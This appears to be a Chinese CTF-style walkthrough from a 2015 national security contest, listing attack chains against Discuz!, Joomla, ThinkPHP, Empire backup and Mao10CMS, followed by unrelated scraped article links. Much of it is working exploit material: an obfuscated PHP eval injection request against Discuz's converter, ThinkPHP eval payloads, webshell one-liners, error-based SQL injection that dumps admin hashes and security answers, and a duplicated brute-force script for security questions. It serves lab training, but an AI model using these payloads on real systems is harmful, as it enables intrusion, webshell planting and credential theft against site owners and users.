渗透测试入门

我很简单,请不要欺负我

网站综合渗透实验:

真的很简单:

你是会员吗:

2015中国网络安全大赛

一、代码执行:

同DZ漏洞全家桶中的"又见DZ,我能那你怎么办"。

二、Session欺骗:(so奇葩)

  1. www.xxx.xxx/admin/ 存在目录遍历;
  2. 禁用JS后居然可以获取后台!
  3. 不仅有后台,而且可以修改管理员密码!
  4. 在软件上传栏目中,系统使用白名单,可以直接上传php;
  5. Getshell。

三、越权访问:

  1. 帝国备份王,万能Cookie漏洞;
  2. BurpSuit 自动替换Cookie。
  3. 利用数据库备份写入一句话。(正则替换备份文件内容为一句话)
  4. Getshell。

四、信息泄露:

  1. 获取configuration.php~备份文件;
  2. 利用configuration文件中的账号密码登录phpmyadmin;
  3. 利用phpmyadmin重置admin密码;
  4. 登录Joomla后台,修改template代码,插入一句话;
  5. 连接一句话,www.xxx.com/templates/atom/index.php

五、框架漏洞:

  1. ThinkPHP单一入口漏洞;
  2. http://www.test.ichunqiu/index.php/module/action/param1{${eval($_POST[chopper])}};
  3. 连接地址如上,密码chopper;
  4. Getshell。

六、Reinstall:

  1. Mao10CMS前台getshell漏洞;
  2. 存在Install.php.bak文件。/install.php安装脚本里面直接就是初始化数据库,然后写入配置文件:./Application/Common/Conf/db.php 安装文件没有做任何过滤。只能写db_prefix,因为只有他不写入数据库,而已写入配置文件,这样我们就能拿到webshell了。

',@eval ($_POST["chopper"]), //

DZ漏洞全家桶

一、这不是DZ漏洞?

  1. Discuz!X系列转换工具任意代码写入漏洞。在www.test.ichunqiu/utility/convert页面;
  2. 使用EXP。

    POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

    Host: www.test.ichunqiu

    User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

    Accept-Encoding: gzip, deflate

    Connection: keep-alive

    Content-Length: 199

    Content-Type: application/x-www-form-urlencoded

    newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

  3. 连接www.test.ichunqiu/utility/convert/data/config.inc.php 密码c;
  4. Getshell。

二、又见DZ,我能拿你怎么办:

  1. 打开论坛,看下版本是dz!6.0 有一个投票注入漏洞,于是注册新用户soso,发起新投票,发现没有权限。
  2. 浏览论坛,发现test1账号,存在弱口令test1,拥有版主权限。
  3. 用test1账号发起投票,在"编辑"时用Burpsuit抓包。
  4. EXP:测试漏洞是否存在:' or updatexml(1,concat(0x7e,(version())),0) or ''='(注意删除内容。)
  5. 爆破管理员密码

    ' or updatexml(1,concat(0x7e,(select password from cdb_members where uid=1)),0) or ''='

    得到31位md5值"b10a9a82cf828627be682033e6c58780",手工添加一位后,在线破解,得admin密码:whoami!@#123

  6. 登录时发现有安全提问,于是继续用burpsuite 爆安全提问答案

    构造语句:' or updatexml(1,concat(0x7e,(select secques from cdb_members where uid=1)),0) or ''='

    得到加密字符串"~61a55235",利用以下脚本爆破,得安全问题为第七个问题,答案为"9595"。

    (1),将安全问题的value md5加密得到一个加密串

    (2),将问题的答案与上一步的加密串连接组成新的字符串后再md5加密得到另一个加密串

    (3),取第二步得出的加密串的第17位至24位的8位字符串存储到数据库

    自己写一个py脚本通过密码字典与得到到八位加密串碰撞得出安全提问答案,代码如下:

    DiscuzWendaCrack.py

    import md5

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

    f.close()

    DiscuzWendaCrack.py

    import md5

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

    f.close()

    密码字典foo.txt是生成的3位到5位的纯数字

  1. 登录后台通过 论坛管理--模板编辑--详情--customfaq编辑写入一句话木马 eval($_POST[soso]);注意在<?之后位置写入保存。
  2. Getshell,连接地址templates\default\customfaq.lang.php。

linhai19760812

only_system

ITest的更多相关文章

  1. 分布式团队中沟通引发的问题, itest 解决之道

    导读: 从问题场景和 itest 优雅解决办法及示例2部分来阐述 1.问题场景: 研发团队是分散在几地的分布式团队,经常会因沟通引来一些问题.如下三图是开发觉得测试进度太慢,一番对话之后, 接下来他们 ...

  2. itest 开源测试管理项目中封装的下拉列表小组件:实现下拉列表使用者前后端0行代码

    导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景       像easy ui 之类的纯前端组件,也有下拉列表组件,但是使用的时候,每个下拉列表,要配一个URL ...

  3. spring JdbcTemplate 在itest 开源测试管理项目中的浅层(5个使用场景)封装

    导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景, 在做项目的时候,用的JPA ,有些复杂查询,比如报表用原生的JdbcTemplate ,很不方便;传参也不方便 ...

  4. 软件测试自动化的最新趋势对开源测试管理软件ITEST的启示

    https://www.infoq.cn/article/c-LHJS2ksuDxp1WkrGl4 理面提到几点,DevOps 的关键原则是开发团队.测试团队和运营团队协作,无缝发布软件.这意味着集中 ...

  5. Itest(爱测试),最懂测试人的开源测试管理软件隆重发布

    测试人自己开发,汇聚10年沉淀,独创流程驱动测试.度量展现测试人价值的测试协同软件,开源免费   官网刚上线,近期发布源码:http://www.itest.work 在线体验 http://www. ...

  6. C#调用Delphi接口(ITest = interface)

    首先创建一个delphi的DLL工程 library testintfdll; { Important note about DLL memory management: ShareMem must ...

  7. 开源敏捷测试管理& 开源BUG跟踪管理软件itest(爱测试) V3.3.0隆重发布

    v3.3.0 下载地址 :itest下载 码云源码地址 https://gitee.com/itestwork/itest 开源中国  itest项目地址   https://www.oschina. ...

  8. itest(爱测试) 4.2.1 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票  去投票 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者 ...

  9. itest(爱测试) 4.2.0 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票  去投票 v4.2.0下载地址 :itest下载 itest 简介:查看简介 itest ...

  10. itest(爱测试) 4.1.5 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    v4.1.5下载地址 :itest下载 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者.可按测试包分配测试用例执行,也可建测试迭代(含任务,测试包,BUG)来组织测试 ...

随机推荐

  1. Android RecyclerView完全解析

    RecyclerView完全解析 (一) 前言 话说RecyclerView已经面市很久,也在很多应用中得到广泛的使用,在整个开发者圈子里面也拥有很不错的口碑,那说明RecyclerView拥有比Li ...

  2. java String源码学习

    public final class String implements java.io.Serializable, Comparable<String>, CharSequence { ...

  3. 人机ai五子棋 ——五子棋AI算法之Java实现

    人机ai五子棋 下载:chess.jar (可直接运行) 源码:https://github.com/xcr1234/chess 其实机器博弈最重要的就是打分,分数也就是权重,把棋子下到分数大的地方, ...

  4. GOPS2017全球运维大会深圳站 出席嘉宾盘点!

    去年,GOPS全球运维大会在深圳出发,当时门票提前几周收盘,2017年,承载着运维人的期望,GOPS全球运维大会再次来到了深圳.第六届GOPS2017全球运维大会深圳站(本次)将于2017年4月21日 ...

  5. 本地存储 cookie,session,localstorage( 二)angular-local-storage

    原文:https://github.com/grevory/angular-local-storage#api-documentation Get Started (1)Bower: $ bower ...

  6. 9.mybatis动态SQL标签的用法

    mybatis动态SQL标签的用法   动态 SQL MyBatis 的强大特性之一便是它的动态 SQL.如果你有使用 JDBC 或其他类似框架的经验,你就能体会到根据不同条件拼接 SQL 语句有多么 ...

  7. arm指令集

    http://blog.chinaunix.net/uid-20769502-id-112445.html

  8. Ubuntu环境openresty的安装

    Ubuntu环境openresty的安装 相关库的安装 安装openresty需要的库  apt-get install libreadline-dev libncurses5-dev libpcre ...

  9. centos设置svn开机自启动

    安装好 svn 服务后,默认是没有随系统启动自动启动的, CentOS 7 的 /etc/rc.d/rc.local 是没有执行权限的, 系统建议创建 systemd service 启动服务 于是查 ...

  10. PHP数组关于数字键名的问题

    以下是对PHP数组数字键名的几点总结: 键名长度只能在 int 长度范围内,超过int 范围后将会出现覆盖等混乱情况 在键名长度为 int 范围内存取值时,PHP会强制将数字键名转换为 int 数值型 ...